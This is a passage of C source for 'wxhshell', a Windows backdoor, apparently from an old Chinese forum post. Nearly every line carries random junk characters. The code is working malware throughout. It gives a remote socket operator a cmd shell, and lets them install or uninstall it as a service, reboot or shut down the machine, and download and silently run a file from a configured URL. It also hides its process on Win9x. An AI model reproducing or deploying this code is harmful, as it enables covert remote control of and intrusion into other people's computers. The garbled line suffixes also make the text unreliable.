  // 帮助 6R1wn&8  
  case '?': { g08*}0-k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qri}=du&F  
    break; Ws-6W!Ib%  
  } @Jb@L  
  // 安装 Rk($lW)  
  case 'i': { zmrQf/y{R  
    if(Install()) Js\-['`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,wtFs!8  
    else K1?Z5X(b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &mN'Tk  
    break; = n+q_.A  
    } 9W{,=.%MX$  
  // 卸载 CfPXn0I  
  case 'r': { V";mWws+?#  
    if(Uninstall()) K#qoR/:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &`9j)3^J.  
    else e >L5.~i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z.eJEK  
    break; 3R5K}ZBi%  
    } *j|/2+pq  
  // 显示 wxhshell 所在路径 iYk':iv}S  
  case 'p': { x96qd%l/  
    char svExeFile[MAX_PATH]; f{)+-8  
    strcpy(svExeFile,"\n\r"); +7| [b  
      strcat(svExeFile,ExeFile); ]Nnxnp  
        send(wsh,svExeFile,strlen(svExeFile),0); @GN(]t&3  
    break; vuYO\u+ud  
    } }1QI"M*  
  // 重启 fNmE,~  
  case 'b': { @ SU8\:(U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H_VEPp,T  
    if(Boot(REBOOT)) rHvF%o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ct4LkmD  
    else { lV P9=  
    closesocket(wsh); 2>F\&  
    ExitThread(0); KMUK`tbaI  
    } FX H0PK  
    break; QB!jLlg(  
    } PeO]lq  
  // 关机 "yg.hK`  
  case 'd': { *8z"^7?^=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $aB /+,  
    if(Boot(SHUTDOWN)) <f%ujrX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +"jl(5Q  
    else { "gFxfWIA  
    closesocket(wsh); s(Z(e %  
    ExitThread(0); YTQ5sFuGM  
    } a "R7JjH  
    break; %1Yz'AiW[  
    } oFWt(r   
  // 获取shell k/%#>  
  case 's': { 59V#FWe-  
    CmdShell(wsh); OkLz^R?d  
    closesocket(wsh); Hal7 MP  
    ExitThread(0); }K2 /&kZ  
    break; !_qskDc-  
  } b)N[[sOt  
  // 退出 xpF](>LC(  
  case 'x': { .:rmA8U[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <>%,}j 9  
    CloseIt(wsh); M(yH%i^A  
    break; KacR?Al  
    }  Do|]eD  
  // 离开 y<TOqn  
  case 'q': { )IQ*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X:>$ 8^gS  
    closesocket(wsh); `)T&~2n  
    WSACleanup(); >QXzMN}o  
    exit(1); 1n_;kaY  
    break; AIb>pL{  
        } tE@FvZC'=  
  } <0#^7Z  
  } ;(7-WnU8N  
C\7u<2c  
  // 提示信息 ~8TF*3[}[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2Zy_5>~  
} qpI]R  
  } nP<S6:s:  
S.{fDcM  
  return; q(78fZ *X  
} o+NMA (  
mb&lCd ^-  
// shell模块句柄 wqUQ"d  
int CmdShell(SOCKET sock) k0L] R5W  
{ %Uy%kN_&  
STARTUPINFO si; Av o|v>  
ZeroMemory(&si,sizeof(si)); E!zX)|Z<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yMb|I~k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e&0K;yU  
PROCESS_INFORMATION ProcessInfo; $xT1 1 ^  
char cmdline[]="cmd"; D|l,08n"?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r4u z} jl{  
  return 0; X1oGp+&  
} n#4Gv|{XMD  
I.1D*!tz  
// 自身启动模式 Y6A;AmM8  
int StartFromService(void) Z&Ue|Z4Qt  
{ +c--&tBo  
typedef struct obO}NF*g^  
{ ~O{W;Cyh  
  DWORD ExitStatus; }k7_'p&yk  
  DWORD PebBaseAddress; YGp)Oy}:  
  DWORD AffinityMask; | f\D>Y%)  
  DWORD BasePriority; <J&7]6Z  
  ULONG UniqueProcessId; =\Iu$2r`  
  ULONG InheritedFromUniqueProcessId; F)S PaC4  
}   PROCESS_BASIC_INFORMATION; ]3ifd G k  
id?"PD"%  
PROCNTQSIP NtQueryInformationProcess; (Sv>NQp  
y(5:}x&E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0}]SUe^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E)W@{?.o#  
(u&`Ij9  
  HANDLE             hProcess; [ ny6W9  
  PROCESS_BASIC_INFORMATION pbi; oh~: ,  
jn JZ# =)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GS;%zdH~  
  if(NULL == hInst ) return 0; e)@3m.  
| kXm}K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6S1m<aH6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8]bz(P#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bMm3F%FFq&  
}Cj8  
  if (!NtQueryInformationProcess) return 0; .Q* 'r& n  
gmP9j)V6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^:KO_{3E  
  if(!hProcess) return 0; I[d]!YI}F  
<41ZZ0<EwY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =rFN1M/n{E  
=lp1Z>  
  CloseHandle(hProcess);  &;c>O  
 )h_8vO2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (dqCa[  
if(hProcess==NULL) return 0; X%}nFgqQ  
QR0(,e$Dl  
HMODULE hMod; `VT>M@i/  
char procName[255]; tU@zhGb  
unsigned long cbNeeded; "35A/V  
-tLO.JK<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c5% 6Y2W0  
C&<~f#lB  
  CloseHandle(hProcess); )8,|-o=  
7K;!iX<d  
if(strstr(procName,"services")) return 1; // 以服务启动 @?k J).  
)C~9E 5E  
  return 0; // 注册表启动 Q@S-f:!  
} e,0-)?5R  
h4)Bs\==mT  
// 主模块 [XR$F@o  
int StartWxhshell(LPSTR lpCmdLine) xZ.!d.rn  
{ np9dM  
  SOCKET wsl; &7>zURv  
BOOL val=TRUE; 56}X/u  
  int port=0; $B (kZ  
  struct sockaddr_in door; 33Az$GXFsq  
8b(!k FxD  
  if(wscfg.ws_autoins) Install(); N ( Oyi  
"_1)CDqP  
port=atoi(lpCmdLine); vFv3'b$;G  
I&VTW8jB  
if(port<=0) port=wscfg.ws_port; zjl!9M!  
W 7sn+g \  
  WSADATA data; [?0d~Q(R#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i|WQ0fD  
BuOgOYh9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Fhf<T`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sG7u}r  
  door.sin_family = AF_INET; Cu;5RSr2Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); v,@F|c?_S  
  door.sin_port = htons(port); ?-)I+EAnE  
Na{Y}0=^y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jgv`>o%<W  
closesocket(wsl); 9=`Wp6Gmn  
return 1; xc @Ss[  
} =qy@Wvj$  
YJV%a  
  if(listen(wsl,2) == INVALID_SOCKET) { TrS8h^C  
closesocket(wsl); &@FhR#pUQ  
return 1; Kn`M4 O  
} >l']H*&B<  
  Wxhshell(wsl); 80OtO#1y  
  WSACleanup(); I:98 $r$  
+]Zva:$#`  
return 0; (V:E2WR  
V!_71x\-Q  
} KqY["5p  
R%Y`=pK>}  
// 以NT服务方式启动 GL Mm(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .B2]xfo"`  
{ 3?I;ovsM  
DWORD   status = 0; Z @ dC+0[=  
  DWORD   specificError = 0xfffffff; , t5 '  
$;N*cH~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,f3pqi9|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j$7|XM6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v=@TWEE  
  serviceStatus.dwWin32ExitCode     = 0; \y`+B*\i  
  serviceStatus.dwServiceSpecificExitCode = 0; 8.AR.o  
  serviceStatus.dwCheckPoint       = 0; 9;.(u'y|  
  serviceStatus.dwWaitHint       = 0; D\dWt1n  
b;sVls  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :KJ pk:<  
  if (hServiceStatusHandle==0) return; \NZIEu)5?  
bNs4 5hDP  
status = GetLastError(); w'MGA  
  if (status!=NO_ERROR) V" \0Y0  
{ *iBTI+"]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f5AjJYq1  
    serviceStatus.dwCheckPoint       = 0; 1RcSTg  
    serviceStatus.dwWaitHint       = 0; U1_@F$mq<  
    serviceStatus.dwWin32ExitCode     = status; P262Q&.}d  
    serviceStatus.dwServiceSpecificExitCode = specificError; }o4N<%/+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v{zMO:3  
    return; }/tf>?c  
  } #'D" 'B  
]V l]XT$Um  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2WX7nK;I  
  serviceStatus.dwCheckPoint       = 0; g9D^)V  
  serviceStatus.dwWaitHint       = 0; 9vUO *D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !U9|x\BqJ2  
} o8/ ;;*  
X+L) -d  
// 处理NT服务事件,比如:启动、停止 ,YTIC8qKr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U$]|~41#  
{ 9{k97D/  
switch(fdwControl) ^k5ll=}  
{ f`9 b*wV  
case SERVICE_CONTROL_STOP: 0sN.H=   
  serviceStatus.dwWin32ExitCode = 0; N{ Z  H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3.22"U\1:  
  serviceStatus.dwCheckPoint   = 0; 61puqiGG^  
  serviceStatus.dwWaitHint     = 0; ::Ke ^dp  
  { @SZM82qU2z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {^(ACS9mL  
  } ?0? R  
  return; .+7;)K   
case SERVICE_CONTROL_PAUSE: 7S/G B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HEA#bd\  
  break; ,@1p$n  
case SERVICE_CONTROL_CONTINUE: Dd;Nz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (?_S6H E  
  break; qmO6,T-|  
case SERVICE_CONTROL_INTERROGATE: @1*ohdHH  
  break; 8Ac)'2t;U  
}; Bm&kkx.9P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~|<WHHN (  
} \fA{1  
bM8If"  
// 标准应用程序主函数 mPI8_5V8]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =mA: ctu~v  
{ }ci#>  
3"o"fl  
// 获取操作系统版本 s! n<}C  
OsIsNt=GetOsVer(); (WJ${OW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ? A(QyaKz  
nKW*Y}VO  
  // 从命令行安装 x77l~=P+!  
  if(strpbrk(lpCmdLine,"iI")) Install(); fP.F`V_Y  
XGP6L0j  
  // 下载执行文件 ^Ge+~o?x  
if(wscfg.ws_downexe) { j'9"cE5_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t#q<n:WeYU  
  WinExec(wscfg.ws_filenam,SW_HIDE); PaV-F_2  
} $<:E'^SAS  
`PY>Hgb  
if(!OsIsNt) { [9 Ss# ~  
// 如果时win9x,隐藏进程并且设置为注册表启动 sC9&Dgkk  
HideProc(); TMY d47  
StartWxhshell(lpCmdLine); I\YV des#  
} PO 6&bIr  
else m0v:\?S:  
  if(StartFromService()) &f&z_WU  
  // 以服务方式启动 cA%%IL$R  
  StartServiceCtrlDispatcher(DispatchTable); ]`Oo%$Ue  
else M5xCC!  
  // 普通方式启动 @)Ofi j  
  StartWxhshell(lpCmdLine); jBegh9KHq  
fk_o@ G!0  
return 0; sQMFpIrr  
}
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只看该作者 1 发表于: 2006-10-10
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